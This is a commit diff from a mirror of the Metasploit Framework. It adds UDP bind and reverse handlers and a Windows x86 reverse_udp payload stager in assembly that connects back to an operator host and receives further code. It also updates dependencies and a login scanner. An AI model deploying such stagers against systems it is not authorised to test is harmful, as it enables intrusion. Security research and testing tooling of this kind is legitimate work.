mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Merge branch 'upstream-master' into land-9539-
This commit is contained in:
commit
38b03fdfff
14
Gemfile.lock
14
Gemfile.lock
@ -38,7 +38,6 @@ PATH
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline
|
||||
rbnacl (< 5.0.0)
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
@ -73,7 +72,7 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.2)
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
@ -103,12 +102,12 @@ GEM
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.5.0)
|
||||
arel-helpers (2.6.1)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.0)
|
||||
backports (3.11.1)
|
||||
bcrypt (3.1.11)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.1)
|
||||
bindata (2.4.2)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
@ -127,7 +126,6 @@ GEM
|
||||
i18n (>= 0.7)
|
||||
faraday (0.13.1)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.5.1)
|
||||
@ -249,8 +247,6 @@ GEM
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.0)
|
||||
rb-readline (0.5.5)
|
||||
rbnacl (4.0.2)
|
||||
ffi
|
||||
recog (2.1.17)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
@ -352,7 +348,7 @@ GEM
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.4)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.3)
|
||||
tzinfo-data (1.2018.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
|
@ -5,6 +5,8 @@ module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class BavisionCamerasException < Exception; end
|
||||
|
||||
class BavisionCameras < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
@ -59,7 +61,13 @@ module Metasploit
|
||||
nonce_count = 1
|
||||
cnonce = Digest::MD5.hexdigest("%x" % (Time.now.to_i + rand(65535)))
|
||||
|
||||
response['www-authenticate'] =~ /^(\w+) (.*)/
|
||||
i = (response['www-authenticate'] =~ /^(\w+) (.*)/)
|
||||
|
||||
# The www-authenticate header does not return in the format we like,
|
||||
# so let's bail.
|
||||
unless i
|
||||
raise BavisionCamerasException, 'www-authenticate header is not in the right format'
|
||||
end
|
||||
|
||||
params = {}
|
||||
$2.gsub(/(\w+)="(.*?)"/) { params[$1] = $2 }
|
||||
@ -104,7 +112,7 @@ module Metasploit
|
||||
|
||||
begin
|
||||
result_opts.merge!(try_digest_auth(credential))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
rescue ::Rex::ConnectionError, BavisionCamerasException => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
208
lib/msf/core/handler/bind_udp.rb
Normal file
208
lib/msf/core/handler/bind_udp.rb
Normal file
@ -0,0 +1,208 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the Bind TCP handler. This means that
|
||||
# it will attempt to connect to a remote host on a given port for a period of
|
||||
# time (typically the duration of an exploit) to see if a the payload has
|
||||
# started listening. This can tend to be rather verbose in terms of traffic
|
||||
# and in general it is preferable to use reverse payloads.
|
||||
#
|
||||
###
|
||||
module BindUdp
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the handler specific string representation, in this case
|
||||
# 'bind_tcp'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "bind_udp"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection oriented general handler type, in this case bind.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"bind"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes a bind handler and adds the options common to all bind
|
||||
# payloads, such as local port.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::LPORT(4444),
|
||||
OptAddress.new('RHOST', [false, 'The target address', '']),
|
||||
], Msf::Handler::BindUdp)
|
||||
|
||||
self.conn_threads = []
|
||||
self.listener_threads = []
|
||||
self.listener_pairs = {}
|
||||
end
|
||||
|
||||
#
|
||||
# Kills off the connection threads if there are any hanging around.
|
||||
#
|
||||
def cleanup_handler
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Starts a new connecting thread
|
||||
#
|
||||
def add_handler(opts={})
|
||||
|
||||
# Merge the updated datastore values
|
||||
opts.each_pair do |k,v|
|
||||
datastore[k] = v
|
||||
end
|
||||
|
||||
# Start a new handler
|
||||
start_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an outbound connection to become established.
|
||||
#
|
||||
def start_handler
|
||||
|
||||
# Maximum number of seconds to run the handler
|
||||
ctimeout = 150
|
||||
|
||||
# Maximum number of seconds to await initial udp response
|
||||
rtimeout = 5
|
||||
|
||||
if (exploit_config and exploit_config['active_timeout'])
|
||||
ctimeout = exploit_config['active_timeout'].to_i
|
||||
end
|
||||
|
||||
# Take a copy of the datastore options
|
||||
rhost = datastore['RHOST']
|
||||
lport = datastore['LPORT']
|
||||
|
||||
# Ignore this if one of the required options is missing
|
||||
return if not rhost
|
||||
return if not lport
|
||||
|
||||
# Only try the same host/port combination once
|
||||
phash = rhost + ':' + lport.to_s
|
||||
return if self.listener_pairs[phash]
|
||||
self.listener_pairs[phash] = true
|
||||
|
||||
# Start a new handling thread
|
||||
self.listener_threads << framework.threads.spawn("BindUdpHandlerListener-#{lport}", false) {
|
||||
client = nil
|
||||
|
||||
print_status("Started bind handler")
|
||||
|
||||
if (rhost == nil)
|
||||
raise ArgumentError,
|
||||
"RHOST is not defined; bind stager cannot function.",
|
||||
caller
|
||||
end
|
||||
|
||||
stime = Time.now.to_i
|
||||
|
||||
while (stime + ctimeout > Time.now.to_i)
|
||||
begin
|
||||
client = Rex::Socket::Udp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => lport.to_i,
|
||||
'Proxies' => datastore['Proxies'],
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
# Connection refused is a-okay
|
||||
rescue ::Exception
|
||||
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
|
||||
end
|
||||
|
||||
client.extend(Rex::IO::Stream)
|
||||
begin
|
||||
# If a connection was acknowledged, request a basic response before promoting as a session
|
||||
if client
|
||||
message = 'syn'
|
||||
client.write("echo #{message}\n")
|
||||
response = client.get(rtimeout)
|
||||
break if response && response.include?(message)
|
||||
client.close()
|
||||
client = nil
|
||||
end
|
||||
rescue Errno::ECONNREFUSED
|
||||
client.close()
|
||||
client = nil
|
||||
wlog("Connection failed in udp bind handler continuing attempts: #{$!.class} #{$!}")
|
||||
end
|
||||
|
||||
# Wait a second before trying again
|
||||
Rex::ThreadSafe.sleep(0.5)
|
||||
end
|
||||
|
||||
# Valid client connection?
|
||||
if (client)
|
||||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:udp_session => true
|
||||
}
|
||||
|
||||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("BindUdpHandlerSession", false, client) { |client_copy|
|
||||
begin
|
||||
handle_connection(client_copy, opts)
|
||||
rescue
|
||||
elog("Exception raised from BindUdp.handle_connection: #{$!}")
|
||||
end
|
||||
}
|
||||
else
|
||||
wlog("No connection received before the handler completed")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Nothing to speak of.
|
||||
#
|
||||
def stop_handler
|
||||
# Stop the listener threads
|
||||
self.listener_threads.each do |t|
|
||||
t.kill
|
||||
end
|
||||
self.listener_threads = []
|
||||
self.listener_pairs = {}
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
attr_accessor :listener_threads # :nodoc:
|
||||
attr_accessor :listener_pairs # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
end
|
265
lib/msf/core/handler/reverse_udp.rb
Normal file
265
lib/msf/core/handler/reverse_udp.rb
Normal file
@ -0,0 +1,265 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'thread'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the reverse TCP handler. This means
|
||||
# that it listens on a port waiting for a connection until
|
||||
# either one is established or it is told to abort.
|
||||
#
|
||||
# This handler depends on having a local host and port to
|
||||
# listen on.
|
||||
#
|
||||
###
|
||||
module ReverseUdp
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_tcp'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_udp"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'reverse'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"reverse"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the reverse TCP handler and ads the options that are required
|
||||
# for all reverse TCP payloads, like local host and local port.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::LHOST,
|
||||
Opt::LPORT(4444)
|
||||
], Msf::Handler::ReverseUdp)
|
||||
|
||||
# XXX: Not supported by all modules
|
||||
register_advanced_options(
|
||||
[
|
||||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
||||
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
|
||||
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
|
||||
] +
|
||||
Msf::Opt::stager_retry_options,
|
||||
Msf::Handler::ReverseUdp)
|
||||
|
||||
self.conn_threads = []
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the listener but does not actually attempt
|
||||
# to accept a connection. Throws socket exceptions
|
||||
# if it fails to start the listener.
|
||||
#
|
||||
def setup_handler
|
||||
ex = false
|
||||
|
||||
comm = case datastore['ReverseListenerComm'].to_s
|
||||
when "local"; ::Rex::Socket::Comm::Local
|
||||
when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i]
|
||||
else; nil
|
||||
end
|
||||
unless comm.is_a? ::Rex::Socket::Comm
|
||||
comm = nil
|
||||
end
|
||||
|
||||
local_port = bind_port
|
||||
addrs = bind_address
|
||||
|
||||
addrs.each { |ip|
|
||||
begin
|
||||
|
||||
self.listener_sock = Rex::Socket::Udp.create(
|
||||
'LocalHost' => ip,
|
||||
'LocalPort' => local_port,
|
||||
'Comm' => comm,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
|
||||
ex = false
|
||||
|
||||
comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip )
|
||||
comm_used = Rex::Socket::Comm::Local if comm_used == nil
|
||||
|
||||
if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) )
|
||||
via = "via the #{comm_used.type} on session #{comm_used.sid}"
|
||||
else
|
||||
via = ""
|
||||
end
|
||||
|
||||
print_status("Started reverse handler on #{ip}:#{local_port} #{via}")
|
||||
break
|
||||
rescue
|
||||
ex = $!
|
||||
print_error("Handler failed to bind to #{ip}:#{local_port}")
|
||||
end
|
||||
}
|
||||
raise ex if (ex)
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the listener socket if one was created.
|
||||
#
|
||||
def cleanup_handler
|
||||
stop_handler
|
||||
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill rescue nil
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
def start_handler
|
||||
queue = ::Queue.new
|
||||
|
||||
local_port = bind_port
|
||||
|
||||
self.listener_thread = framework.threads.spawn("ReverseUdpHandlerListener-#{local_port}", false, queue) { |lqueue|
|
||||
loop do
|
||||
# Accept a client connection
|
||||
begin
|
||||
inbound, peerhost, peerport = self.listener_sock.recvfrom
|
||||
next if peerhost.nil?
|
||||
cli_opts = {
|
||||
'PeerPort' => peerport,
|
||||
'PeerHost' => peerhost,
|
||||
'LocalPort' => self.listener_sock.localport,
|
||||
'Comm' => self.listener_sock.respond_to?(:comm) ? self.listener_sock.comm : nil
|
||||
}
|
||||
|
||||
# unless ['::', '0.0.0.0'].any? {|alladdr| self.listener_sock.localhost == alladdr }
|
||||
# cli_opts['LocalHost'] = self.listener_sock.localhost
|
||||
# end
|
||||
|
||||
client = Rex::Socket.create_udp(cli_opts)
|
||||
client.extend(Rex::IO::Stream)
|
||||
if ! client
|
||||
wlog("ReverseUdpHandlerListener-#{local_port}: No client received in call to accept, exiting...")
|
||||
break
|
||||
end
|
||||
|
||||
self.pending_connections += 1
|
||||
lqueue.push([client,inbound])
|
||||
rescue ::Exception
|
||||
wlog("ReverseUdpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
break
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
self.handler_thread = framework.threads.spawn("ReverseUdpHandlerWorker-#{local_port}", false, queue) { |cqueue|
|
||||
loop do
|
||||
begin
|
||||
client, inbound = cqueue.pop
|
||||
|
||||
if ! client
|
||||
elog("ReverseUdpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...")
|
||||
break
|
||||
end
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:udp_session => inbound
|
||||
}
|
||||
|
||||
if datastore['ReverseListenerThreaded']
|
||||
self.conn_threads << framework.threads.spawn("ReverseUdpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
|
||||
handle_connection(client_copy, opts)
|
||||
}
|
||||
else
|
||||
handle_connection(client, opts)
|
||||
end
|
||||
rescue ::Exception
|
||||
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Stops monitoring for an inbound connection.
|
||||
#
|
||||
def stop_handler
|
||||
# Terminate the listener thread
|
||||
if (self.listener_thread and self.listener_thread.alive? == true)
|
||||
self.listener_thread.kill
|
||||
self.listener_thread = nil
|
||||
end
|
||||
|
||||
# Terminate the handler thread
|
||||
if (self.handler_thread and self.handler_thread.alive? == true)
|
||||
self.handler_thread.kill
|
||||
self.handler_thread = nil
|
||||
end
|
||||
|
||||
if (self.listener_sock)
|
||||
self.listener_sock.close
|
||||
self.listener_sock = nil
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def bind_port
|
||||
port = datastore['ReverseListenerBindPort'].to_i
|
||||
port > 0 ? port : datastore['LPORT'].to_i
|
||||
end
|
||||
|
||||
def bind_address
|
||||
# Switch to IPv6 ANY address if the LHOST is also IPv6
|
||||
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||
# First attempt to bind LHOST. If that fails, the user probably has
|
||||
# something else listening on that interface. Try again with ANY_ADDR.
|
||||
any = (addr.length == 4) ? "0.0.0.0" : "::0"
|
||||
|
||||
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
# Only try to bind to this specific interface
|
||||
addrs = [ datastore['ReverseListenerBindAddress'] ]
|
||||
|
||||
# Pick the right "any" address if either wildcard is used
|
||||
addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0")
|
||||
end
|
||||
|
||||
addrs
|
||||
end
|
||||
|
||||
attr_accessor :listener_sock # :nodoc:
|
||||
attr_accessor :listener_thread # :nodoc:
|
||||
attr_accessor :handler_thread # :nodoc:
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
end
|
@ -17,6 +17,12 @@ module Msf::Payload::TransportConfig
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_reverse_udp(upts={})
|
||||
config =transport_config_reverse_tcp(opts)
|
||||
config[:scheme] = 'udp'
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_reverse_ipv6_tcp(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
config = transport_config_reverse_tcp(opts)
|
||||
|
@ -125,7 +125,8 @@ module Payload::Windows::ReverseTcp
|
||||
push 'ws2_' ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
mov eax, ebp
|
||||
call eax ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
@ -298,7 +299,8 @@ module Payload::Windows::ReverseTcp
|
||||
dec [esp] ; decrement the counter
|
||||
|
||||
; try again
|
||||
jmp create_socket
|
||||
jnz create_socket
|
||||
jmp failure
|
||||
^
|
||||
end
|
||||
|
||||
|
@ -142,7 +142,8 @@ module Payload::Windows::ReverseTcpRc4
|
||||
dec [esp] ; decrement the counter
|
||||
|
||||
; try again
|
||||
jmp create_socket
|
||||
jnz create_socket
|
||||
jmp failure
|
||||
^
|
||||
end
|
||||
|
||||
|
175
lib/msf/core/payload/windows/reverse_udp.rb
Normal file
175
lib/msf/core/payload/windows/reverse_udp.rb
Normal file
@ -0,0 +1,175 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/reverse_tcp'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_udp payload generation for Windows ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseUdp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseTcp
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_udp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_udp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_udp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_udp(opts)}
|
||||
#{asm_block_recv(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count Number of retry attempts
|
||||
#
|
||||
def asm_reverse_udp(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
reverse_udp:
|
||||
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 'ws2_' ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
set_address:
|
||||
push #{retry_count} ; retry counter
|
||||
|
||||
create_socket:
|
||||
push #{encoded_host} ; host in little-endian format - #{opts[:host]}
|
||||
push #{encoded_port} ; family AF_INET and port number - #{opts[:port]}
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
|
||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
inc eax ;
|
||||
push eax ; push SOCK_DGRAM (UDP socket)
|
||||
push eax ; push AF_INET
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_DGRAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
try_connect:
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax,eax ; non-zero means a failure
|
||||
jz connected
|
||||
|
||||
handle_connect_failure:
|
||||
; decrement our attempt count and try again
|
||||
dec [esi+8]
|
||||
jnz try_connect
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; this lable is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
^
|
||||
|
||||
# UDP receivers need to read something from the new socket
|
||||
if include_send_uuid
|
||||
asm << asm_send_uuid
|
||||
else
|
||||
asm << asm_send_newline
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def asm_send_newline
|
||||
newline = raw_to_db "\n"
|
||||
asm =%Q^
|
||||
send_newline:
|
||||
push 0 ; flags
|
||||
push #{newline.length} ; length of the newline
|
||||
call get_nl_address ; put newline buffer on the stack
|
||||
db #{newline} ; newline
|
||||
get_nl_address:
|
||||
push edi ; saved socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||
call ebp ; call send
|
||||
^
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
@ -26,7 +26,8 @@ module Interactive
|
||||
# A nil is passed in the case of non-stream interactive sessions (Meterpreter)
|
||||
if rstream
|
||||
self.rstream = rstream
|
||||
self.ring = Rex::IO::RingBuffer.new(rstream, {:size => opts[:ring_size] || 100 })
|
||||
klass = opts[:udp_session] ? Rex::IO::RingBufferUdp : Rex::IO::RingBuffer
|
||||
self.ring = klass.new(rstream, {:size => opts[:ring_size] || 100 })
|
||||
end
|
||||
super()
|
||||
end
|
||||
@ -151,4 +152,3 @@ end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -777,6 +777,7 @@ class Db
|
||||
print_line "Usage: vulns [addr range]"
|
||||
print_line
|
||||
print_line " -h,--help Show this help information"
|
||||
print_line " -o <file> Send output to a file in csv format"
|
||||
print_line " -p,--port <portspec> List vulns matching this port spec"
|
||||
print_line " -s <svc names> List vulns matching these service names"
|
||||
print_line " -R,--rhosts Set RHOSTS from the results of the search"
|
||||
@ -801,6 +802,7 @@ class Db
|
||||
search_term = nil
|
||||
show_info = false
|
||||
set_rhosts = false
|
||||
output_file = nil
|
||||
|
||||
# Short-circuit help
|
||||
if args.delete "-h"
|
||||
@ -817,6 +819,14 @@ class Db
|
||||
when "-h","--help"
|
||||
cmd_vulns_help
|
||||
return
|
||||
when "-o", "--output"
|
||||
output_file = args.shift
|
||||
if output_file
|
||||
output_file = File.expand_path(output_file)
|
||||
else
|
||||
print_error("Invalid output filename")
|
||||
return
|
||||
end
|
||||
when "-p","--port"
|
||||
unless (arg_port_range(args.shift, port_ranges, true))
|
||||
return
|
||||
@ -846,6 +856,10 @@ class Db
|
||||
host_ranges.push(nil) if host_ranges.empty?
|
||||
ports = port_ranges.flatten.uniq
|
||||
svcs.flatten!
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => 'Vulnerabilities',
|
||||
'Columns' => ['Timestamp', 'Host', 'Name', 'References', 'Information']
|
||||
)
|
||||
|
||||
each_host_range_chunk(host_ranges) do |host_search|
|
||||
framework.db.hosts(framework.db.workspace, false, host_search).each do |host|
|
||||
@ -857,19 +871,34 @@ class Db
|
||||
)
|
||||
end
|
||||
reflist = vuln.refs.map { |r| r.name }
|
||||
|
||||
if(vuln.service)
|
||||
# Skip this one if the user specified a port and it
|
||||
# doesn't match.
|
||||
next unless ports.empty? or ports.include? vuln.service.port
|
||||
# Same for service names
|
||||
next unless svcs.empty? or svcs.include?(vuln.service.name)
|
||||
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
|
||||
|
||||
else
|
||||
# This vuln has no service, so it can't match
|
||||
next unless ports.empty? and svcs.empty?
|
||||
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
|
||||
end
|
||||
|
||||
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
|
||||
|
||||
if output_file
|
||||
row = []
|
||||
row << vuln.created_at
|
||||
row << host.address
|
||||
row << vuln.name
|
||||
row << reflist * ","
|
||||
if show_info && vuln.info
|
||||
row << "info=#{vuln.info}"
|
||||
else
|
||||
row << ''
|
||||
end
|
||||
tbl << row
|
||||
end
|
||||
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address)
|
||||
rhosts << addr
|
||||
@ -878,6 +907,11 @@ class Db
|
||||
end
|
||||
end
|
||||
|
||||
if output_file
|
||||
File.write(output_file, tbl.to_csv)
|
||||
print_status("Wrote vulnerability information to #{output_file}")
|
||||
end
|
||||
|
||||
# Finally, handle the case where the user wants the resulting list
|
||||
# of hosts to go into RHOSTS.
|
||||
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
|
||||
|
@ -1633,7 +1633,6 @@ require 'msf/core/exe/segment_appender'
|
||||
# target code there, setting an exception handler that calls ExitProcess
|
||||
# and finally executing the code.
|
||||
def self.win32_rwx_exec(code)
|
||||
|
||||
stub_block = %Q^
|
||||
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
|
||||
; Output: The return value from the API call will be in EAX.
|
||||
@ -1741,7 +1740,8 @@ require 'msf/core/exe/segment_appender'
|
||||
exitfunk:
|
||||
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
